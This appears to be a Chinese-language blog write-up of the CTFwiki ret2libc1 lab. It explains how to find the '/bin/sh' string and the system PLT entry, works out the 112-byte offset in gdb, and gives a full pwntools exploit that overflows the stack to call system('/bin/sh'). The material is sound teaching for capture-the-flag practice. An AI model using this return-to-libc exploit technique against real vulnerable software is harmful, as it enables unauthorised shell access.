最近刷题刷到ret2libc类型的题目还是无法很好的构造rop和利用泄露got表。打算复现CTFwiki中的三个ret2libc类型的实现。力求通俗易懂,详细解析。
先来第一个实验ret2libc1。源文件可以在CTFwiki下载。老规矩上来三板斧,查看保护,运行权限。尝试运行。保护如下:
32位程序只开启了堆栈不可执行。尝试运行没什么特殊:
拖到IDA中查看下程序流程:
一眼看到栈溢出,ret2libc这类型的题目就是要利用栈溢出将控制流转移到glibc库的函数中。我们最想利用的无非就是system()函数和'/bin/sh'字符串了。因此我们可以用如下命令来查找我们想要的东西看看在源程序中在不在:'
ROPgadget --binary ret2libc1 --string '/bin/sh'
执行后我们发现是存在的,地址在0x08048720,接着我们要查找system函数存在的地址,这里我采用的是用objdump命令去查找system的plt表:
objdump -d ret2libc1
这里我们一定是找的plt表而不是system字符串的地址,这是要分清楚的。学习ret2libc前一定要深刻理解plt表和got表的关系和一些细节。关于plt表和got表参考我的其他博客,这个玩意我也理解了很久比较愚钝。
找到这些基本就大功告成了,接着就是构造我们的payload。在CTFwiki中,他用是112个a去填充。但是我在IDA看到距离ebp是0x64h,就算换算成10进制在加4也是104,当时我就觉得很疑惑。
因此我们亲自去gdb调试下。在get函数下断点然后run:
接着我们看栈布局:
我们来计算一下,目前esp指向的是0xffffd5f0,esp+1C后那么s的位置是0xffffd60c,那么栈底指针指向的是0xffffd678,两个地址相减一下:
是108个字节,那么在加上4覆盖到返回地址刚好是112个字节。112原来是这么来的。有时候还是要亲自去计算这个偏移量不能盲目信任IDA,虽然大部分时候他是准确的。
接着我们看exp吧:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
画图来理解这个payload布局:
当函数要返回的时候,他将跳到system函数的地址去执行,此时他将把ebp+4的内容当做函数的第一个参数传递。因此将执行完整的system(/bin/sh)。